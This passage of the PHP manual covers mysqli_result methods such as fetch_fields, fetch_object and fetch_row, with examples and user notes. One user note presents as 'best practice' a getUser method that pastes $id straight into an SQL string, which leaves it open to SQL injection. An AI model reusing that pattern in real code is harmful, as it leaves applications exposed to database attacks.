mysqli_result::fetch_fields -- mysqli_fetch_fields — Returns an array of objects representing the fields in a result set

说明

面向对象风格

public mysqli_result::fetch_fields(): array

过程化风格

mysqli_fetch_fields(mysqli_result $result): array

This function serves an identical purpose to the mysqli_fetch_field() function with the single difference that, instead of returning one object at a time for each field, the columns are returned as an array of objects.

参数

result

仅以过程化样式：由 mysqli_query()、mysqli_store_result()、 mysqli_use_result()、mysqli_stmt_get_result() 返回的 mysqli_result 对象。

返回值

Returns an array of objects containing field definition information.

Object properties
Property | Description
name | The name of the column
orgname | Original column name if an alias was specified
table | The name of the table this field belongs to (if not calculated)
orgtable | Original table name if an alias was specified
max_length | The maximum width of the field for the result set. As of PHP 8.1, this value is always 0.
length | The width of the field, in bytes, as specified in the table definition. Note that this number (bytes) might differ from your table definition value (characters), depending on the character set you use. For example, the character set utf8 has 3 bytes per character, so varchar(10) will return a length of 30 for utf8 (10*3), but return 10 for latin1 (10*1).
charsetnr | The character set number (id) for the field.
flags | An integer representing the bit-flags for the field.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

示例

Example #1 面向对象风格

<?php
$mysqli = new mysqli("127.0.0.1", "root", "foofoo", "sakila");

/* check connection */
if ($mysqli->connect_errno) {
printf("Connect failed: %s\n", $mysqli->connect_error);
exit();
}

foreach (array('latin1', 'utf8') as $charset) {

// Set character set, to show its impact on some values (e.g., length in bytes)
$mysqli->set_charset($charset);

$query = "SELECT actor_id, last_name from actor ORDER BY actor_id";

echo "======================\n";
echo "Character Set: $charset\n";
echo "======================\n";

if ($result = $mysqli->query($query)) {

/* Get field information for all columns */
$finfo = $result->fetch_fields();

foreach ($finfo as $val) {
printf("Name: %s\n", $val->name);
printf("Table: %s\n", $val->table);
printf("Max. Len: %d\n", $val->max_length);
printf("Length: %d\n", $val->length);
printf("charsetnr: %d\n", $val->charsetnr);
printf("Flags: %d\n", $val->flags);
printf("Type: %d\n\n", $val->type);
}
$result->free();
}
}
$mysqli->close();
?>

Example #2 过程化风格

<?php
$link = mysqli_connect("127.0.0.1", "my_user", "my_password", "sakila");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

foreach (array('latin1', 'utf8') as $charset) {

// Set character set, to show its impact on some values (e.g., length in bytes)
mysqli_set_charset($link, $charset);

$query = "SELECT actor_id, last_name from actor ORDER BY actor_id";

echo "======================\n";
echo "Character Set: $charset\n";
echo "======================\n";

if ($result = mysqli_query($link, $query)) {

/* Get field information for all columns */
$finfo = mysqli_fetch_fields($result);

foreach ($finfo as $val) {
printf("Name: %s\n", $val->name);
printf("Table: %s\n", $val->table);
printf("Max. Len: %d\n", $val->max_length);
printf("Length: %d\n", $val->length);
printf("charsetnr: %d\n", $val->charsetnr);
printf("Flags: %d\n", $val->flags);
printf("Type: %d\n\n", $val->type);
}
mysqli_free_result($result);
}
}

mysqli_close($link);
?>

以上示例会输出：

======================
Character Set: latin1
======================
Name:      actor_id
Table:     actor
Max. Len:  3
Length:    5
charsetnr: 63
Flags:     49699
Type:      2

Name:      last_name
Table:     actor
Max. Len:  12
Length:    45
charsetnr: 8
Flags:     20489
Type:      253

======================
Character Set: utf8
======================
Name:      actor_id
Table:     actor
Max. Len:  3
Length:    5
charsetnr: 63
Flags:     49699
Type:      2

Name:      last_name
Table:     actor
Max. Len:  12
Length:    135
charsetnr: 33
Flags:     20489

参见

  • mysqli_num_fields() - Gets the number of fields in the result set
  • mysqli_fetch_field_direct() - Fetch meta-data for a single field
  • mysqli_fetch_field() - Returns the next field in the result set

User Contributed Notes

attand at gmail dot com 27-Feb-2018 11:15
The nax_length gives counts in bytes. So if the text is utf-8, then we get incorrect result.

We have a code snippet where we check if the maximum length of the field and the max length of data stored becomes equal. This way we can check the potential truncation of data inserted
mccharles dot craven at dot dot gov 14-Oct-2016 12:23
Those wanting to map the 'type' field in this function for use in mysqli_stmt_bind_param or to cannibalize it for their own mapping may find this function useful.

function map_field_type_to_bind_type($field_type)
{
    switch ($field_type)
    {
    case MYSQLI_TYPE_DECIMAL:
    case MYSQLI_TYPE_NEWDECIMAL:
    case MYSQLI_TYPE_FLOAT:
    case MYSQLI_TYPE_DOUBLE:
        return 'd';

    case MYSQLI_TYPE_BIT:
    case MYSQLI_TYPE_TINY:
    case MYSQLI_TYPE_SHORT:
    case MYSQLI_TYPE_LONG:
    case MYSQLI_TYPE_LONGLONG:
    case MYSQLI_TYPE_INT24:
    case MYSQLI_TYPE_YEAR:
    case MYSQLI_TYPE_ENUM:
        return 'i';

    case MYSQLI_TYPE_TIMESTAMP:
    case MYSQLI_TYPE_DATE:
    case MYSQLI_TYPE_TIME:
    case MYSQLI_TYPE_DATETIME:
    case MYSQLI_TYPE_NEWDATE:
    case MYSQLI_TYPE_INTERVAL:
    case MYSQLI_TYPE_SET:
    case MYSQLI_TYPE_VAR_STRING:
    case MYSQLI_TYPE_STRING:
    case MYSQLI_TYPE_CHAR:
    case MYSQLI_TYPE_GEOMETRY:
        return 's';

    case MYSQLI_TYPE_TINY_BLOB:
    case MYSQLI_TYPE_MEDIUM_BLOB:
    case MYSQLI_TYPE_LONG_BLOB:
    case MYSQLI_TYPE_BLOB:
        return 'b';

    default:
        trigger_error("unknown type: $field_type");
        return 's';
    }
}
cz dot paranoiq at gmail dot com 21-Feb-2015 09:39
complete list of flags from MySQL source code:

NOT_NULL_FLAG   1       /* Field can't be NULL */
PRI_KEY_FLAG    2       /* Field is part of a primary key */
UNIQUE_KEY_FLAG 4       /* Field is part of a unique key */
MULTIPLE_KEY_FLAG 8     /* Field is part of a key */
BLOB_FLAG   16      /* Field is a blob */
UNSIGNED_FLAG   32      /* Field is unsigned */
ZEROFILL_FLAG   64      /* Field is zerofill */
BINARY_FLAG 128     /* Field is binary   */
ENUM_FLAG   256     /* field is an enum */
AUTO_INCREMENT_FLAG 512     /* field is a autoincrement field */
TIMESTAMP_FLAG  1024        /* Field is a timestamp */
SET_FLAG    2048        /* field is a set */
NO_DEFAULT_VALUE_FLAG 4096  /* Field doesn't have default value */
ON_UPDATE_NOW_FLAG 8192         /* Field is set to NOW on UPDATE */
NUM_FLAG    32768       /* Field is num (for clients) */
PART_KEY_FLAG   16384       /* Intern; Part of some key */
GROUP_FLAG  32768       /* Intern: Group field */
UNIQUE_FLAG 65536       /* Intern: Used by sql_yacc */
BINCMP_FLAG 131072      /* Intern: Used by sql_yacc */
GET_FIXED_FIELDS_FLAG (1 << 18) /* Used to get fields in item tree */
FIELD_IN_PART_FUNC_FLAG (1 << 19)/* Field part of partition func */
andre at koethur dot de 20-Apr-2014 07:55
Here are two methods for converting the 'type' and 'flags' attributes to text for debugging purposes. They both use the predefined MYSQLI_ constants to generate the text.

<?php

public static function h_type2txt($type_id)
{
    static $types;

    if (!isset($types))
    {
        $types = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/^MYSQLI_TYPE_(.*)/', $c, $m)) $types[$n] = $m[1];
    }

    return array_key_exists($type_id, $types)? $types[$type_id] : NULL;
}

public static function h_flags2txt($flags_num)
{
    static $flags;

    if (!isset($flags))
    {
        $flags = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/MYSQLI_(.*)_FLAG$/', $c, $m)) if (!array_key_exists($n, $flags)) $flags[$n] = $m[1];
    }

    $result = array();
    foreach ($flags as $n => $t) if ($flags_num & $n) $result[] = $t;
    return implode(' ', $result);
}

?>
educarme at adinet dot com dot uy 20-Dec-2013 01:16
Codigos de tipos de datos devueltos por fetch_fields()

Nombre        Codigo
tinyint_    1
boolean_    1
smallint_    2
int_        3
float_        4
double_        5
real_        5
timestamp_    7
bigint_        8
serial        8
mediumint_    9
date_        10
time_        11
datetime_    12
year_        13
bit_        16
decimal_    246
text_        252
tinytext_    252
mediumtext_    252
longtext_    252
tinyblob_    252
mediumblob_    252
blob_        252
longblob_    252
varchar_    253
varbinary_    253
char_        254
binary_        254
AndrewRoz 12-Jan-2011 08:18
The field info bit-flags used by MySql are:
 (Thanks to ragtag at hotmail dot com)
<?php
/*
       NOT_NULL_FLAG = 1
       PRI_KEY_FLAG = 2
       UNIQUE_KEY_FLAG = 4
       BLOB_FLAG = 16
       UNSIGNED_FLAG = 32
       ZEROFILL_FLAG = 64
       BINARY_FLAG = 128
       ENUM_FLAG = 256
       AUTO_INCREMENT_FLAG = 512
       TIMESTAMP_FLAG = 1024
       SET_FLAG = 2048
       NUM_FLAG = 32768
       PART_KEY_FLAG = 16384
       GROUP_FLAG = 32768
       UNIQUE_FLAG = 65536
*/

// To test if a flag is set you can use & like so:

  $meta = $mysqli_result_object->fetch_field();
  if ($meta->flags & 4) {
     echo 'Unique key flag is set';
  }
?>


Fetch the next row of a result set as an object

  • ? mysqli_result::fetch_fields
  • mysqli_result::fetch_row ?
  • PHP Manual
  • mysqli_result
  • Fetch the next row of a result set as an object

mysqli_result::fetch_object

mysqli_fetch_object

(PHP 5, PHP 7, PHP 8)

mysqli_result::fetch_object -- mysqli_fetch_object — Fetch the next row of a result set as an object

说明

面向对象风格

public mysqli_result::fetch_object(string $class = "stdClass", array $constructor_args = []): object|null|false

过程化风格

mysqli_fetch_object(mysqli_result $result, string $class = "stdClass", array $constructor_args = []): object|null|false

Fetches one row of data from the result set and returns it as an object, where each property represents the name of the result set's column. Each subsequent call to this function will return the next row within the result set, or null if there are no more rows.

If two or more columns of the result have the same name, the last column will take precedence and overwrite any previous data. To access multiple columns with the same name, mysqli_fetch_row() may be used to fetch the numerically indexed array, or aliases may be used in the SQL query select list to give columns different names.

Note: This function sets the properties of the object before calling the object constructor.

Note: 此函数返回的字段名大小写敏感。

Note: 此函数将 NULL 字段设置为 PHP null 值。

参数

result

仅以过程化样式：由 mysqli_query()、mysqli_store_result()、 mysqli_use_result()、mysqli_stmt_get_result() 返回的 mysqli_result 对象。

class

The name of the class to instantiate, set the properties of and return. If not specified, a stdClass object is returned.

constructor_args

An optional array of parameters to pass to the constructor for class objects.

返回值

Returns an object representing the fetched row, where each property represents the name of the result set's column, null if there are no more rows in the result set, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | constructor_args now accepts [] for constructors with 0 parameters; previously an exception was thrown.

示例

Example #1 mysqli_result::fetch_object() example

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = $mysqli->query($query);

/* fetch object array */
while ($obj = $result->fetch_object()) {
printf("%s (%s)\n", $obj->Name, $obj->CountryCode);
}

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = mysqli_query($link, $query);

/* fetch associative array */
while ($obj = mysqli_fetch_object($result)) {
printf("%s (%s)\n", $obj->Name, $obj->CountryCode);
}

以上示例的输出类似于：

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

参见

  • mysqli_fetch_array() - Fetch the next row of a result set as an associative, a numeric array, or both
  • mysqli_fetch_assoc() - Fetch the next row of a result set as an associative array
  • mysqli_fetch_column() - Fetch a single column from the next row of a result set
  • mysqli_fetch_row() - Fetch the next row of a result set as an enumerated array
  • mysqli_query() - 对数据库执行查询
  • mysqli_data_seek() - Adjusts the result pointer to an arbitrary row in the result

User Contributed Notes

fedge-no at hotmail dot calm 15-Nov-2016 07:48
I checked the bug database and as long as your PHP installation is up to date, the order of setting properties and calling the constructor should now follow the order specified in the documentation. There was a little while that a patch had been introduced where it was happening the other way around but that has been fixed now.
macole at paypal dot com 30-Jun-2016 02:56
Note that if you supply a class that has a __set() magic method defined in it, that method will be called for any properties that are not defined in your class.  For example:

<?php

class SomeClass {
    private $id;
    public $partner_name;
    public function __set( $name, $value ) {
        echo "__set was called!  Name = $name\n";
        $this->$name = $value;
    }
}

$db = new mysqli( 'localhost', 'Username', 'Password', 'DbName' );
$result = $db->query( 'SELECT id, partner_name, partner_type FROM submissions' );
$object = $result->fetch_object( 'SomeClass' );

?>

Produces the following output:

__set was called!  Name = partner_type
neo22s at gmail dot com 08-May-2016 08:04
Since 5.6.21 and PHP 7.0.6

mysqli_fetch_object() sets the properties of the object AFTER calling the object constructor. Not BEFORE as was in previous versions.

So behaviour has changed. Seems a bug but not sure if was done intentionally.

https://bugs.php.net/bug.php?id=72151
object-array at gmail dot com 17-Feb-2016 08:56
Please mind the difference between objects and arrays in PHP>=5: arrays are by value while objects are by reference.

<?
$o = mysqli_fetch_object($res);
$o1 = $o;
$o1->value = 10;

$a = mysqli_fetch_array($res);
$a1 = $a;
$a1['value'] = 10;

echo $o->value; // 10
echo $a['value']; // (original value from db)
?>

Should same behaviour be intended, the object needs to be cloned:

<?
$o1 = clone $o;
?>

More about object cloning:
http://php.net/manual/en/language.oop5.cloning.php
me at philkershaw dot me 28-Mar-2014 05:02
As a best practice, if you intend to use a defined class when using fetching_object(). Put the data obtaining code within a static method of the defined class. Otherwise, wherever you include the file (if not using an autoloader) the data connection will occur whether you want it to or not.

For example:

<?php

class User
{
    public $name;

    public static function getUser($id)
    {
        $conn = new mysqli('localhost', 'username', 'password', 'database');
        if ($result = $conn->query("SELECT * FROM users WHERE id = {$id} LIMIT 1")) {
            return $result->fetch_object('User');
            $result->close();
        }
    }
}
?>

Call the static method to obtain an instance of the User class with your data applied to it.

<?php
$user = User::getUser('31');
echo $user->name; // echo's 'Phil'
?>
Driek 26-Jun-2012 05:18
As indicated in the user comments of the mysql_fetch_object, it is important to realize that class fields get values assigned to them BEFORE the constructor is called.
For example;
<?php

class Employee
{
  private $id;

  public function __construct($id = 0)
  {
    $this->id = $id;
  }
}

// some code for creating a database connection... i.e. mysqli object
....
$result = $con->query("select id, name from employees");
$anEmployee = $result->fetch_object("Employee");
?>
will result in the ID being 0 because it is overridden by the constructor. Therefore, it is useful to check if the class field is already set.
I.e.
<?php
class Employee
{
  private $id;

  public function __construct($id = 0)
  {
    if (!$this->id)
    {
       $this->id = $id
    }
  }
}
?>
Also note that the fields which will be assigned by fetch_object are case sensitive. If your table has the field "ID", it will result in the class field $ID being set. A simple work-around is to use aliases. I.e. "SELECT *, ID as id FROM myTable"
I hope this helps some people.
Alex 27-Jan-2012 04:36
Make sure to specify the full namespace for the "string $class_name" parameter and not a partial one, as it won't find it. For example:

<?php

namespace Root(backslash)FirstLevel
{
    public static function Test($result)
    {
        return mysqli_fetch_object($result, 'SecondLevel\\MyClass');
    }
}

?>

... will not work but this will:

<?php

namespace Root(backslash)FirstLevel
{
    public static function Test($result)
    {
        return mysqli_fetch_object($result, 'Root\\FirstLevel\\SecondLevel\\MyClass');
    }
}

?>
benpptung at tacol dot biz 08-Aug-2009 08:04
I don't know why no one talk about this.
fetch_object is very powerful since you can instantiate an Object which has the methods you wanna have.

You can try like this..

<?php
class PowerfulVO extends AbstractWhatEver {

    public $field1;
    private $field2; // note : private is ok

    public function method(){
       // method in this class
    }
}

     $sql = "SELECT * FROM table ..."
     $mysqli = new mysqli(........);
     $result = $mysqli->query($sql);
     $vo = $result->fetch_object('PowerfulVO');
?>

Note : if the field is not defined in the class, fetch_object will add this field for you as public.

The method is very powerful, especially if you want to use a VO design pattern or class mapping feature with Flex Remoting Object( Of course, you need to have ZendAMF or AMFPHP ..framework)

Hope this help and open new possibilities for you
peterbelm at g[oogle]mail dot com 18-Aug-2008 07:10
If your SQL code selects columns with empty names like so:

SELECT id as ``...

You will get a fatal error "Cannot access empty property", this took me a while to track down!

Obviously your SQL really shouldn't do that, and should be fixed but I'm going to submit a feature request to ask for a better error message for that.


Fetch the next row of a result set as an enumerated array

  • ? mysqli_result::fetch_object
  • mysqli_result::$field_count ?
  • PHP Manual
  • mysqli_result
  • Fetch the next row of a result set as an enumerated array

mysqli_result::fetch_row

mysqli_fetch_row

(PHP 5, PHP 7, PHP 8)

mysqli_result::fetch_row -- mysqli_fetch_row — Fetch the next row of a result set as an enumerated array

说明

面向对象风格

public mysqli_result::fetch_row(): array|null|false

过程化风格

mysqli_fetch_row(mysqli_result $result): array|null|false

Fetches one row of data from the result set and returns it as an enumerated array, where each column is stored in an array offset starting from 0 (zero). Each subsequent call to this function will return the next row within the result set, or null if there are no more rows.

Note: 此函数将 NULL 字段设置为 PHP null 值。

参数

result

仅以过程化样式：由 mysqli_query()、mysqli_store_result()、 mysqli_use_result()、mysqli_stmt_get_result() 返回的 mysqli_result 对象。

返回值

Returns an enumerated array representing the fetched row, null if there are no more rows in the result set, 或者在失败时返回 false.

示例

Example #1 mysqli_result::fetch_row() example

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = $mysqli->query($query);

/* fetch object array */
while ($row = $result->fetch_row()) {
printf("%s (%s)\n", $row[0], $row[1]);
}

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = mysqli_query($mysqli, $query);

/* fetch associative array */
while ($row = mysqli_fetch_row($result)) {
printf("%s (%s)\n", $row[0], $row[1]);
}

以上示例的输出类似于：

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

参见

  • mysqli_fetch_array() - Fetch the next row of a result set as an associative, a numeric array, or both
  • mysqli_fetch_assoc() - Fetch the next row of a result set as an associative array
  • mysqli_fetch_column() - Fetch a single column from the next row of a result set
  • mysqli_fetch_object() - Fetch the next row of a result set as an object
  • mysqli_query() - 对数据库执行查询
  • mysqli_data_seek() - Adjusts the result pointer to an arbitrary row in the result

User Contributed Notes

sainthyoga2003 at gmail dot com 17-Mar-2014 03:35
Note that mysqli_fetch() is deprecated but still is in PHP function list. mysqli_fetch_row() is nowadays mysql procedural style used, but is not listed in PHP functions.
evangun2001 at yahoo dot fr 16-Sep-2007 02:24
Remember that fetch() and fetch_row() are two different things, and differ in the way to use them.

- fetch() is used on a statement (like an executed prepared statement) and needs to be used in association with bind_result().

- fetch_row() is used on a result (like the result of query()).

As a consequence, if you want to use to use fetch_row() with an executed prepared statement, first you'll have to get the result out of this statement with mysqli_store_result() or mysqli_use_result().
Stephen 23-Jan-2007 02:29
It's worth noting that the MySQLi functions (and, I presume, the MySQL functions) fetch a string regardless of the MySQL data type. E.g. if you fetch a row with an integer column, the corresponding value for that column and row will still be stored as a string in the array returned by mysql_fetch_row.
maillist at pnpitalia.it 06-Jan-2004 10:01
from "README.PHP4-TO-PHP5-THIN-CHANGES"

4. Be careful when porting from ext/mysql to ext/mysqli. The following
   functions return NULL when no more data is available in the result set
   (ext/mysql's functions return FALSE).

    - mysqli_fetch_row()
    - mysqli_fetch_array()
    - mysqli_fetch_assoc()


Gets the number of fields in the result set

  • ? mysqli_result::fetch_row
  • mysqli_result::field_seek ?
  • PHP Manual
  • mysqli_result
  • Gets the number of fields in the result set

mysqli_result::$field_count

mysqli_num_fields

(PHP 5, PHP 7, PHP 8)

mysqli_result::$field_count -- mysqli_num_fields — Gets the number of fields in the result set

说明

面向对象风格

int $mysqli_result->field_count;

过程化风格

mysqli_num_fields(mysqli_result $result): int

Returns the number of fields in the result set.

参数

result

仅以过程化样式：由 mysqli_query()、mysqli_store_result()、 mysqli_use_result()、mysqli_stmt_get_result() 返回的 mysqli_result 对象。

返回值

An int representing the number of fields.

示例

Example #1 面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$result = $mysqli->query("SELECT Name, CountryCode, District, Population FROM City ORDER BY ID LIMIT 1");

/* Get the number of fields in the result set */
$field_cnt = $result->field_count;

printf("Result set has %d fields.\n", $field_cnt);

Example #2 过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$result = mysqli_query($link, "SELECT Name, CountryCode, District, Population FROM City ORDER BY ID LIMIT 1");

/* Get the number of fields in the result set */
$field_cnt = mysqli_num_fields($result);

printf("Result set has %d fields.\n", $field_cnt);

以上示例会输出：

Result set has 4 fields.

参见

  • mysqli_fetch_field() - Returns the next field in the result set

User Contributed Notes

There are no user contributed notes for this page.


Set result pointer to a specified field offset

  • ? mysqli_result::$field_count
  • mysqli_result::free ?
  • PHP Manual
  • mysqli_result
  • Set result pointer to a specified field offset

mysqli_result::field_seek

mysqli_field_seek

(PHP 5, PHP 7, PHP 8)

mysqli_result::field_seek -- mysqli_field_seek — Set result pointer to a specified field offset

说明

面向对象风格

public mysqli_result::field_seek(int $index): bool

过程化风格

mysqli_field_seek(mysqli_result $result, int $index): bool

Sets the field cursor to the given offset. The next call to mysqli_fetch_field() will retrieve the field definition of the column associated with that offset.

Note:

To seek to the beginning of a row, pass an offset value of zero.

参数

result

仅以过程化样式：由 mysqli_query()、mysqli_store_result()、 mysqli_use_result()、mysqli_stmt_get_result() 返回的 mysqli_result 对象。

index

The field number. This value must be in the range from 0 to number of fields - 1.

返回值

总是返回 true。

更新日志

版本 | 说明
8.0.0 | This function now always returns true. Previously it returned false on failure.

示例

Example #1 面向对象风格

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

/* Get field information for 2nd column */
$result->field_seek(1);
$finfo = $result->fetch_field();

printf("Name: %s\n", $finfo->name);
printf("Table: %s\n", $finfo->table);
printf("max. Len: %d\n", $finfo->max_length);
printf("Flags: %d\n", $finfo->flags);
printf("Type: %d\n\n", $finfo->type);

$result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

/* Get field information for 2nd column */
mysqli_field_seek($result, 1);
$finfo = mysqli_fetch_field($result);

printf("Name: %s\n", $finfo->name);
printf("Table: %s\n", $finfo->table);
printf("max. Len: %d\n", $finfo->max_length);
printf("Flags: %d\n", $finfo->flags);
printf("Type: %d\n\n", $finfo->type);

mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

参见

  • mysqli_fetch_field() - Returns the next field in the result set

User Contributed Notes

There are no user contributed notes for this page.


Frees the memory associated with a result

  • ? mysqli_result::field_seek
  • mysqli_result::getIterator ?
  • PHP Manual
  • mysqli_result
  • Frees the memory associated with a result

mysqli_result::free

mysqli_result::close

mysqli_result::free_result

mysqli_free_result

(PHP 5, PHP 7, PHP 8)

mysqli_result::free -- mysqli_result::close -- mysqli_result::free_result -- mysqli_free_result — Frees the memory associated with a result

说明

面向对象风格

public mysqli_result::free(): void
public mysqli_result::close(): void
public mysqli_result::free_result(): void

过程化风格

mysqli_free_result(mysqli_result $result): void

Frees the memory associated with the result.

参数

result

仅以过程化样式：由 mysqli_query()、mysqli_store_result()、 mysqli_use_result()、mysqli_stmt_get_result() 返回的 mysqli_result 对象。

返回值

没有返回值。

参见

  • mysqli_query() - 对数据库执行查询
  • mysqli_stmt_get_result() - Gets a result set from a prepared statement as a mysqli_result object
  • mysqli_store_result() - 传输上次查询的结果集
  • mysqli_use_result() - Initiate a result set retrieval

User Contributed Notes

polygon dot co dot in at gmail dot com 19-Nov-2021 10:16
We should free the mysql results using mysqli_free_result respectively or else this will consume your server RAM resource.

This is demonstrated as below

<?php

$link = mysqli_connect('Hostname','Username','Password','Database');

echo '<br/>Memory Usage Before Query = '.memory_get_usage(false); // 449464 bytes

$resultResource = mysqli_query($link, 'SELECT * FROM test');

echo '<br/>Memory Usage after Query = '.memory_get_usage(false); // 466528 bytes

$result = array();
while ($result[] = mysqli_fetch_assoc($resultResource)) {}

echo '<br/><br/>Memory Usage Before Free Result = '.memory_get_usage(false); // 474208 bytes

mysqli_free_result($resultResource);

echo '<br/>Memory Usage After Free Result = '.memory_get_usage(false); // 457336 bytes

?>

Output below.

Memory Usage Before Query = 449464
Memory Usage after Query = 466528

Memory Usage Before Free Result = 474208
Memory Usage After Free Result = 457336

So, One can observer there is memory usage after the query is executed. The results are returned by DB server to the web server instantaniously once the query execution is over. The results present on web server are then processed for fetching from the resource link on web server.

Also this is observed that there is lesser memory usage after using mysqli_free_result because the resources stored on web server for respective query are freed by providing respective resource link.
jack_action100 at hotmail dot example dot com 20-Mar-2019 12:43
If you are STILL getting this error, even after freeing your results:
Internal SQL Bug: 2014, Commands out of sync; you can't run this command now

You may have a stored procedure in your query.   A procedure can return more than one result set, and it will always return one extra empty result set that carries some meta information on the procedure call itself, especially error information. ( source:  https://bugs.mysql.com/bug.php?id=71044 )

While calling single procedures, with one SELECT in them, using mysqli->query("CALL `stored_procedure`();"), I had to do the following to make it work between two calls:

<?php
$result->free();
$mysqli->next_result();
?>

It has no negative impact if you are not calling a stored procedure.
Vector at ionisis dot com 28-Dec-2009 05:17
If you are getting this error:
Internal SQL Bug: 2014, Commands out of sync; you can't run this command now

Then you never called mysqli_result::free(), mysqli_result::free_result(), mysqli_result::close(), or mysqli_free_result() in your script, and must call it before executing another stored procedure.
Anonymous 18-Oct-2009 03:49
Freeing the memory associated with a result means that the references returned by mysqli_fetch_object (or equivalent) are cleared. Thus if you should pass an object pointing to a database row _by reference_, every call of mysqli_free_result will discard the referenced data.


Retrieve an external iterator

  • ? mysqli_result::free
  • mysqli_result::$lengths ?
  • PHP Manual
  • mysqli_result
  • Retrieve an external iterator

mysqli_result::getIterator

(PHP 8)

mysqli_result::getIterator — Retrieve an external iterator

说明

public mysqli_result::getIterator(): Iterator

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Returns the lengths of the columns of the current row in the result set

  • ? mysqli_result::getIterator
  • mysqli_result::$num_rows ?
  • PHP Manual
  • mysqli_result
  • Returns the lengths of the columns of the current row in the result set

mysqli_result::$lengths

mysqli_fetch_lengths

(PHP 5, PHP 7, PHP 8)

mysqli_result::$lengths -- mysqli_fetch_lengths — Returns the lengths of the columns of the current row in the result set

说明

面向对象风格

?array $mysqli_result->lengths;

过程化风格

mysqli_fetch_lengths(mysqli_result $result): array|false

The mysqli_fetch_lengths() function returns an array containing the lengths of every column of the current row within the result set.

参数

result

仅以过程化样式：由 mysqli_query()、mysqli_store_result()、 mysqli_use_result()、mysqli_stmt_get_result() 返回的 mysqli_result 对象。

返回值

An array of integers representing the size of each column (not including any terminating null characters). false if an error occurred.

mysqli_fetch_lengths() is valid only for the current row of the result set. It returns false if you call it before calling mysqli_fetch_row/array/object or after retrieving all rows in the result.

示例

Example #1 面向对象风格

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT * from Country ORDER BY Code LIMIT 1";

if ($result = $mysqli->query($query)) {

$row = $result->fetch_row();

/* display column lengths */
foreach ($result->lengths as $i => $val) {
printf("Field %2d has Length %2d\n", $i+1, $val);
}
$result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT * from Country ORDER BY Code LIMIT 1";

if ($result = mysqli_query($link, $query)) {

$row = mysqli_fetch_row($result);

/* display column lengths */
foreach (mysqli_fetch_lengths($result) as $i => $val) {
printf("Field %2d has Length %2d\n", $i+1, $val);
}
mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

Field  1 has Length  3
Field  2 has Length  5
Field  3 has Length 13
Field  4 has Length  9
Field  5 has Length  6
Field  6 has Length  1
Field  7 has Length  6
Field  8 has Length  4
Field  9 has Length  6
Field 10 has Length  6
Field 11 has Length  5
Field 12 has Length 44
Field 13 has Length  7
Field 14 has Length  3
Field 15 has Length  2

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of rows in the result set

  • ? mysqli_result::$lengths
  • mysqli_driver ?
  • PHP Manual
  • mysqli_result
  • Gets the number of rows in the result set

mysqli_result::$num_rows

mysqli_num_rows

(PHP 5, PHP 7, PHP 8)

mysqli_result::$num_rows -- mysqli_num_rows — Gets the number of rows in the result set

说明

面向对象风格

int|string $mysqli_result->num_rows;

过程化风格

mysqli_num_rows(mysqli_result $result): int|string

Returns the number of rows in the result set.

The behaviour of mysqli_num_rows() depends on whether buffered or unbuffered result sets are being used. This function returns 0 for unbuffered result sets unless all rows have been fetched from the server.

参数

result

仅以过程化样式：由 mysqli_query()、mysqli_store_result()、 mysqli_use_result()、mysqli_stmt_get_result() 返回的 mysqli_result 对象。

返回值

An int representing the number of fetched rows. Returns 0 in unbuffered mode unless all rows have been fetched from the server.

Note:

If the number of rows is greater than PHP_INT_MAX, the number will be returned as a string.

示例

Example #1 面向对象风格

<?php

